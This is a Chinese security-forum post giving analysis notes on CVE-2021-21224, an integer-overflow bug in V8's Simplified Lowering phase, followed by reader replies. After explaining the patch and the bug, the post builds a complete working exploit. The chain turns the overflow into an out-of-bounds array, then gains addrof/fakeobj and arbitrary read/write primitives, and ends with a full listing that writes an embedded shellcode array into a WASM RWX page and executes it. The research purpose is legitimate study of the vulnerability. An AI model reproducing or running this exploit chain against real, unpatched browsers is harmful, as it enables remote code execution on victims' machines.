首页
论坛
课程
招聘
[原创]CVE-2021-21224分析笔记
2021-8-5 14:18 10402

[原创]CVE-2021-21224分析笔记

2021-8-5 14:18
10402

前言

CVE-2021-21224/issue 1195777tr0y4师傅在今年四月份提交的漏洞,此漏洞发生于Simplified Lowering阶段的RepresentationChanger::GetWord32RepresentationFor函数中,是一个平平无奇的整数溢出。但是和CVE-2020-15965CVE-2020-16040CVE-2021-21220相似的是,此漏洞同样可以通过Array.prototype.shift()方法来构造一个长度为-1(0xFFFF_FFFF)的数组,凭借这个强大的越界数组我们可以很轻松的实现RCE

 

环境搭建


根据commit来回退版本:

1
2
3
4
5
6
git reset --hard 720176a523544721973a8ceba89e9c7af9405963
gclient sync -D
python tools\dev\v8gen.py x64.debug
python tools\dev\gm.py x64.debug d8
python tools\dev\v8gen.py x64.release
python tools\dev\gm.py x64.release d8

漏洞分析

poc分析

回归测试里面给出的poc有点长,我稍微精简了一下,不过效果是一样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
function foo(b) {
let x = -1;
if (b) x = 0xFFFF_FFFF;
 
return -1 < Math.max(0, x);
}
 
console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
%SystemBreak();
console.log(foo(true));

运行结果:

  1. 当参数为true的时候,x的值为0xFFFF_FFFFMath.max(0, 0xFFFF_FFFF)的返回值是0xFFFF_FFFF,那么返回值-1 < 0xFFFF_FFFF是成立的。
  2. 当参数为false的时候,x的值为-1Math.max(0, -1)的返回值为0,自然-1 < 0也是成立的。
  3. 优化后的foo函数居然返回一个false,未曾设想的道路出现了,接下来先在调试器里面跟进一下。
    Math.max函数看起来有问题,简单跟进了一下这三次调用:
  • 第一次调用MathMax函数:
  • 第二次调用MathMax函数:
  • 优化之后就没有调用MathMax函数了,而是直接进行比较:

    这里的返回值也是正确的,保存后的结果被保存在rdx寄存器之中,但注意下图中箭头指向的内容

    比较的时候使用的是rdx寄存器,返回值也在其中,之后却取edx寄存器的值来进行比较,即原本的64位无符号返回值0x00000000FFFFFFFF被当做是一个32位有符号数值0xFFFF_FFFF来使用,0xFFFF_FFFF会被当作是-1,最终的运算是明显不正确的-1 < -1,返回值自然是false

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
diff --git a/src/compiler/representation-change.cc b/src/compiler/representation-change.cc
index 64b274c..3d937ad 100644
--- a/src/compiler/representation-change.cc
+++ b/src/compiler/representation-change.cc
@@ -949,10 +949,10 @@
return node;
} else if (output_rep == MachineRepresentation::kWord64) {
if (output_type.Is(Type::Signed32()) ||
-        output_type.Is(Type::Unsigned32())) {
-      op = machine()->TruncateInt64ToInt32();
-    } else if (output_type.Is(cache_->kSafeInteger) &&
-               use_info.truncation().IsUsedAsWord32()) {
+        (output_type.Is(Type::Unsigned32()) &&
+         use_info.type_check() == TypeCheckKind::kNone) ||
+        (output_type.Is(cache_->kSafeInteger) &&
+         use_info.truncation().IsUsedAsWord32())) {
op = machine()->TruncateInt64ToInt32();
} else if (use_info.type_check() == TypeCheckKind::kSignedSmall ||
use_info.type_check() == TypeCheckKind::kSigned32 ||

Patch位于RepresentationChanger::GetWord32RepresentationFor函数,该函数根据输入结点的Representationfeedback_type来选择合适的方法将输入结点的输出截断为MachineRepresentation::kWord32Patch的内容比较简单,当(output_rep == MachineRepresentation::kWord64)output_type.Is(Type::Unsigned32()二者都成立的时候,增加了一项校验use_info.type_check() == TypeCheckKind::kNone,只有当三者全部成立的时候才会更新op的值,从而在当前结点和输入结点之间插入TruncateInt64ToInt32结点来将输入结点的输出截断为MachineRepresentation::kWord32output_rep为输入结点的Representationoutput_type为输入结点的feedback_typeuse_info则为当前结点后继节点的使用信息,use_info.type_check()表示后继节点的数值类型,为TypeCheckKind::kNone则为无符号,为TypeCheckKind::kSignedSmall则为有符号。
在这里下断点看一下:

根据堆栈信息可知漏洞发生于Simplified loweringLOWER阶段,此阶段将结点降级或者插入转换结点,加上--trace-representation参数在相同的地方断下来。

1
2
3
visit #41: SpeculativeNumberLessThan
change: #41:SpeculativeNumberLessThan(@0 #14:NumberConstant) from kRepTaggedSigned to kRepWord32:no-truncation (but identify zeros)
change: #41:SpeculativeNumberLessThan(@1 #56:Select) from kRepWord64 to kRepWord32:no-truncation (but identify zeros)

此时正在处理#41结点的输入结点#56,根据我们对源码的分析,这两个结点之间会插入一个TruncateInt64ToInt32结点,看一下Simplified lowering阶段的IR图:

因为#72结点的存在,Math.max函数的返回值会被截断为32位;又因为后继结点的类型为有符号数TypeCheckKind::kSignedSmall,所以如果截断后的返回值正好使用了符号位(诸如0xFFFF_FFFF转换为二进制为1111 1111 1111 1111 1111 1111 1111 1111,最高位为1),那么就会发生整数下溢(诸如Math.max(0, 0xFFFF_FFFF)返回值为-1)。

漏洞利用

从整数溢出到越界读写

zer0con2021上讲解了Array.prototype.shift()相关的Trick,可以通过整数溢出来构造一个长度为-1(0xFFFF_FFFF)的数组。但是我们必须满足两个条件:

  • len != 0 && len <= 100
  • len : Range(-a, 0)
    先看一下我们的原始poc

    此时的返回值为-1Range(0, 4294967295)。将poc稍稍修改一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function foo(flag) {
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let z = 0 - Math.max(0, x);
 
return z;
}
 
console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
//%SystemBreak();
console.log(foo(true));

此时的Range如下:

返回值也已经变成了1,现在已经符合Array.prototype.shift() Trick的利用条件了,我们编写如下的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function foo(flag) {
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
 
let vuln_array = new Array(len);
vuln_array.shift();
%DebugPrint(vuln_array);
%SystemBreak();
return vuln_array;
}
 
%PrepareFunctionForOptimization(foo);
console.log("[+] run as builtin: " + "vuln_array.length == " + foo(false).length);
%OptimizeFunctionOnNextCall(foo);
console.log("[+] run as builtin: " + "vuln_array.length == " + foo(true).length);

可以看到数组长度被修改成了-1(0xFFFFFFFE)


现在我们已经可以修改点什么东西了,在vuln_array后面再放置一个Double数组,接着修改他的length

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function hex(a) {
return a.toString(16);
}
 
function foo(flag) {
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
 
let vuln_array = new Array(len);
vuln_array.shift();
let oob_array = [1.1, 1.2, 1.3];
//if (flag) %SystemBreak();
return [vuln_array, oob_array];
}
 
function confusion_to_oob() {
console.log("[+] convert confusion to oob......");
// 触发JIT
for (let i=0; i<0xc00c; i++) {foo(false);}   
//
[vuln_array, oob_array] = foo(true);
vuln_array[16] = 0xc00c;
 
console.log("    oob_array.length: " + hex(oob_array.length));
}
 
confusion_to_oob();

vuln_array[16]是调试算出来的偏移,正好是oob_arraylength所在,现在我们获得了一个可以进行8字节越界读写的浮点数组:

addrof/fakeobj

回忆一下oob_arrayvuln_array的内存布局:

之前我们通过vuln_array[16]修改了oob_array的长度,除此之外,我们还可以通过oob_arrayvuln_array来构造出addroffakeobj原语。首先构造addrof

1
2
3
4
5
function addrof(obj) {
vuln_array[7] = obj;
 
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;
}

vuln_array[7]指向的地方正好是oob_array[0]的低四字节,我们将obj写入其中。之后通过oob_array[0]将八字节长度的值读出来,高四字节全部置零之后就是obj的值了。接着是fakeobj

1
2
3
4
5
function fakeobj(addr) {
oob_array[0] = helper.i2f(addr);
 
return vuln_array[7];
}

addrof的原理是一样的,最终将oob_array[0]中的值当作一个对象指针返回。

任意地址读写

我们现在有了OOBaddroffakeobj三个原语,足够实现更加强大的任意地址读写了。

1
2
3
4
5
6
7
8
9
function get_arw() {
console.log("[+] get absolute read/write access......");
 
let oob_array_map_and_properties = helper.f2i(oob_array[3]);
let point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];
fake = fakeobj(addrof(point_array) - 0x20n);
%DebugPrint(point_array);
%SystemBreak();
}

oob_array[3]保存的是oob_array本身的mapproperties,利用他们俩我们可以构造一个elementslength都完全由我们控制的数组,诸如point_array的内存布局:

point_array[0]中就是我们复制来的mapproperties,如果用fakeobj原语把point_array[0]当作是一个对象来返回,那么point_array[1]中的值就是elementslength,既然我们可以任意的改写point_array[1],也就意味着我们可以将任意length长度的数据写到elements指向的地方,具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function arb_read(addr) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
return fake[0];
}
 
function arb_write(addr, val) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
fake[0] = helper.i2f(BigInt(val));
}

完整代码如下,我们随便写一个地址测试一下原语是否可用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
// 用来实现类型转换
class Helpers {
constructor() {
this.buf =new ArrayBuffer(16);
this.uint32 = new Uint32Array(this.buf);
this.float64 = new Float64Array(this.buf);
this.big_uint64 = new BigUint64Array(this.buf);
}
 
// float-->uint
f2i(f)
{
this.float64[0] = f;
return this.big_uint64[0];
}
// uint-->float
i2f(i)
{
this.big_uint64[0] = i;
return this.float64[0];
}
// 64-->32
f2half(val)
{
this.float64[0]= val;
let tmp = Array.from(this.uint32);
return tmp;
}
// 32-->64
half2f(val)
{
this.uint32.set(val);
return this.float64[0];
}
 
hex(a) {
return "0x" + a.toString(16);
}
 
gc() { for(let i = 0; i < 100; i++) { new ArrayBuffer(0x1000000); } }
}
 
function foo(flag) {
// 触发漏洞,使得len==1Range为(-4294967295, 0)
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
// 利用array.shift()来构造出长度为-1(0xFFFFFFFE)的数组
let vuln_array = new Array(len);
vuln_array.shift();
 
let oob_array = [1.1, 1.2, 1.3];
 
if (flag) {
%DebugPrint(oob_array);
//%SystemBreak();
}
return [vuln_array, oob_array];
}
 
function confusion_to_oob() {
console.log("[+] convert confusion to oob......");
// 触发JIT
for (let i=0; i<0x10000; i++) {foo(false);}   
// gc
helper.gc();
// 修改oob_array的length
[vuln_array, oob_array] = foo(true);
vuln_array[16] = 0xc00c;
 
console.log("    oob_array.length: " + helper.hex(oob_array.length));
}
 
function addrof(obj) {
vuln_array[7] = obj;
 
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;
}
 
function fakeobj(addr) {
oob_array[0] = helper.i2f(addr);
 
return vuln_array[7];
}
 
function get_arw() {
console.log("[+] get absolute read/write access......");
 
let oob_array_map_and_properties = helper.f2i(oob_array[3]);
point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];
fake = fakeobj(addrof(point_array) - 0x20n);
}
 
function arb_read(addr) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
return fake[0];
}
 
function arb_write(addr, val) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
fake[0] = helper.i2f(BigInt(val));
}
 
function exp() {
helper = new Helpers();
 
confusion_to_oob();
get_arw();
 
arb_write(addrof(oob_array), 0xFFFFFFFFFFFFFFFn);
%SystemBreak();
}
 
exp();

windbg里面看一下,发现目标地址的值已经被成功修改了

任意代码执行

这一步还是常规的WASM实现任意代码执行:

  1. 创建一个wasm函数对象,wasm本身只能进行诸如数学运算这样的操作,所以随便创建一个就行。
  2. 通过地址泄露原语找到wasm自带的RWX属性页及wasm函数最终会调用的汇编代码(wasmInstance.exports.main -> shared_info -> data -> instance+XX)。
  3. 通过任意地址读写原语修改wasm所在内存页,换上我们准备好的shellcode
  4. 调用wasm函数接口,执行shellcode
    具体实现如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var wasm_function = wasm_instance.exports.main;
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
 
let arb_write_buffer = new ArrayBuffer(0x300);
 
// 用来实现类型转换
class Helpers {
constructor() {
this.buf =new ArrayBuffer(16);
this.uint32 = new Uint32Array(this.buf);
this.float64 = new Float64Array(this.buf);
this.big_uint64 = new BigUint64Array(this.buf);
}
 
// float-->uint
f2i(f)
{
this.float64[0] = f;
return this.big_uint64[0];
}
// uint-->float
i2f(i)
{
this.big_uint64[0] = i;
return this.float64[0];
}
// 64-->32
f2half(val)
{
this.float64[0]= val;
let tmp = Array.from(this.uint32);
return tmp;
}
// 32-->64
half2f(val)
{
this.uint32.set(val);
return this.float64[0];
}
 
hex(a) {
return "0x" + a.toString(16);
}
 
gc() { for(let i = 0; i < 100; i++) { new ArrayBuffer(0x1000000); } }
}
 
function foo(flag) {
// 触发漏洞,使得len==1Range为(-4294967295, 0)
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
// 利用array.shift()来构造出长度为-1(0xFFFFFFFE)的数组
let vuln_array = new Array(len);
vuln_array.shift();
 
let oob_array = [1.1, 1.2, 1.3];
 
if (flag) {
//%DebugPrint(oob_array);
//%SystemBreak();
}
return [vuln_array, oob_array];
}
 
function confusion_to_oob() {
console.log("[+] convert confusion to oob......");
// 触发JIT
for (let i=0; i<0x10000; i++) {foo(false);}   
// gc
helper.gc();
// 修改oob_array的length
[vuln_array, oob_array] = foo(true);
vuln_array[16] = 0xc00c;
 
console.log("    oob_array.length: " + helper.hex(oob_array.length));
}
 
function addrof(obj) {
vuln_array[7] = obj;
 
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;
}
 
function fakeobj(addr) {
oob_array[0] = helper.i2f(addr);
 
return vuln_array[7];
}
 
function get_arw() {
console.log("[+] get absolute read/write access......");
 
let oob_array_map_and_properties = helper.f2i(oob_array[3]);
point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];
fake = fakeobj(addrof(point_array) - 0x20n);
}
 
function arb_read(addr) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
return fake[0];
}
 
function arb_write(addr, val) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
fake[0] = helper.i2f(BigInt(val));
}
 
function get_wasm_rwx() {
console.log("[+] get address of rwx page......");
rwx_page_addr = helper.f2i(arb_read(addrof(wasm_instance) + 0x68n));
//%DebugPrint(wasm_instance);
//%DebugPrint(wasm_function);
console.log("    Address of rwx page: " + helper.hex(rwx_page_addr));
//%SystemBreak();
}
 
function run_shellcode(addr, shellcode) {
console.log("[+] run shellcode......");
let dataview = new DataView(arb_write_buffer);
let buf_addr = addrof(arb_write_buffer);
let backing_store_addr = buf_addr + 0x14n;
arb_write(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
console.log("[+] success!!!");
}
 
function exp() {
helper = new Helpers();
 
confusion_to_oob();
get_arw();
get_wasm_rwx();
run_shellcode(rwx_page_addr, shellcode);
wasm_function();
}
 
exp();

结果演示如下:

参考文章


【公告】欢迎大家踊跃尝试高研班11月试题,挑战自己的极限!

最后于 2021-8-5 14:30 被0x2l编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (9)
雪    币: 284
活跃值: 活跃值 (4366)
能力值: (RANK:310 )
在线值:
发帖
回帖
粉丝
0x2l 活跃值 4 2021-8-5 14:23
2
0
很早之前的一篇笔记,大概梳理了一遍发出来了。如果文中还有错误,欢迎师傅们指出!
雪    币: 8805
活跃值: 活跃值 (7921)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2 2021-8-6 09:52
3
0
感谢分享,我有些好奇版主是不是可以自己把自己的文章设置为精华?
雪    币: 14212
活跃值: 活跃值 (11784)
能力值: (RANK:720 )
在线值:
发帖
回帖
粉丝
有毒 活跃值 10 2021-8-6 10:00
4
0
pureGavin 感谢分享,我有些好奇版主是不是可以自己把自己的文章设置为精华?
哈哈哈哈,是可以的
雪    币: 2802
活跃值: 活跃值 (1626)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
苏啊树 活跃值 3 2021-8-6 19:09
5
0
居然和我研究同一个洞,发的时间还重了,早知我就不发了。。。
雪    币: 2802
活跃值: 活跃值 (1626)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
苏啊树 活跃值 3 2021-8-6 19:12
6
0
所以如果截断后的返回值正好使用了符号位(诸如0xFFFF_FFFF转换为二进制为1111 1111 1111 1111 1111 1111 1111 1111,最高位为1),那么就会发生整数下溢(诸如Math.max(0, 0xFFFF_FFFF)返回值为-1)。   这个怎么解释,实在有点不懂
雪    币: 284
活跃值: 活跃值 (4366)
能力值: (RANK:310 )
在线值:
发帖
回帖
粉丝
0x2l 活跃值 4 2021-8-6 22:32
7
0
苏啊树 所以如果截断后的返回值正好使用了符号位(诸如0xFFFF_FFFF转换为二进制为1111 1111 1111 1111 1111 1111 1111 1111,最高位为1),那么就会发生整数下溢(诸如 ...
被截断之后的值进行的是有符号数的运算,也就是说二进制格式的最高一位是表示正负的。如果截断之后的32位数值正好占用了最高的符号位,就会被当成是一个负数(即-1)。
雪    币: 940
活跃值: 活跃值 (740)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
s1ber 活跃值 2021-8-7 07:17
8
1
雪    币: 3379
活跃值: 活跃值 (2334)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
Ring3 活跃值 1 2021-8-9 16:34
9
0
膜师傅!
雪    币: 284
活跃值: 活跃值 (4366)
能力值: (RANK:310 )
在线值:
发帖
回帖
粉丝
0x2l 活跃值 4 2021-8-12 15:26
10
0
Ring3 膜师傅!
猪比
游客
登录 | 注册 方可回帖
返回